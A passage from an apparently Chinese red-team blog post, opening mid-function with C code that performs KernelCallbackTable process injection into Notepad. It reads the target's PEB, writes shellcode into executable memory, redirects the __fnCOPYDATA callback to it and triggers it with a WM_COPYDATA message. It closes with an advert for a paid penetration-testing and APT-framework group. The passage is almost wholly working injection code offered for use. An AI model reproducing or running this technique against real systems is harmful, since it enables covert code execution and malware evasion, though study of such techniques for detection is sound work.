    HWND hWnd =FindWindow(L"Notepad",NULL);
    DWORD processId;
    DWORD threadId =GetWindowThreadProcessId(hWnd,&processId);
    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
//printf("[++] processId 0x%lp\n[++] threadId 0x%lp", processId, threadId);


// NtQueryInformationProcess api在ntdll里,属于未公开的函数,所以需要动态调用
    HMODULE hNtdll =LoadLibraryA("ntdll.dll");
if(hNtdll ==NULL)
{
printf("无法加载 ntdll.dll 库\n");
return1;
}
NtQueryInformationProcessPtrNtQueryInformationProcess=(NtQueryInformationProcessPtr)GetProcAddress(hNtdll,"NtQueryInformationProcess");

//find base addr by peb
    PROCESS_BASIC_INFORMATION pbi;
//ULONG ReturnLength;
    NTSTATUS status =NtQueryInformationProcess(hProcess,0,&pbi,sizeof(pbi),NULL);
if(status !=0)
{
printf("NtQueryInformationProcess 失败,错误码 %lu\n", status);
return1;
}

// peb & kct address
    PEB peb;
ReadProcessMemory(hProcess, pbi.PebBaseAddress,&peb,sizeof(peb),NULL);
    KERNELCALLBACKTABLE kct;
ReadProcessMemory(hProcess, peb.KernelCallbackTable,&kct,sizeof(kct),NULL);
//DWORD_PTR kct_addr = (DWORD_PTR)(BYTE*)peb_addr + 0x58;

// 申请空间写入shellcode
    LPVOID payloadAddr =VirtualAllocEx(hProcess,NULL,sizeof(shellcode64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, payloadAddr, shellcode64,sizeof(shellcode64),NULL);

// 创建一个新的kct,因为之前的不能写
    LPVOID newKCTAddr =VirtualAllocEx(hProcess,NULL,sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    kct.__fnCOPYDATA =(ULONG_PTR)payloadAddr;
WriteProcessMemory(hProcess, newKCTAddr,&kct,sizeof(kct),NULL);

// 更新kct
WriteProcessMemory(hProcess,(PBYTE)pbi.PebBaseAddress+ offsetof(PEB,KernelCallbackTable),&newKCTAddr,sizeof(ULONG_PTR),NULL);

// 触发shellcode
    COPYDATASTRUCT cds;
    WCHAR msg[]=L"Pwn";
    cds.dwData =1;
    cds.cbData = lstrlen(msg)*2;
    cds.lpData = msg;
SendMessage(hWnd, WM_COPYDATA,(WPARAM)hWnd,(LPARAM)&cds);
printf("[+] Payload executed\n");

return0;
}

会双十一活动来啦

帮会领域:专注于APT框架、渗透测试、红蓝对抗等领域

帮会内容覆盖:

1、挖洞技巧和小tips

2、挖洞实战项目案例

3、不定时分享高质量小工具

4、可加入内部群进行攻防技术交流

5、团队内部师傅开发的小工具,优先体验新版本,还可和师傅提出bug获得奖励哦

6、有机会进入团队,成为正式成员,获得更多

活动价格:15/月卡、39.9/季卡  9.9/月 20/季 79/永久

活动结束后将恢复原价

Eonian Sharp
Eonian Sharp | 永恒之锋,专注APT框架、渗透测试攻击与防御的研究与开发,没有永恒的安全,但有永恒的正义之锋击破黑暗的不速之客。
 最新文章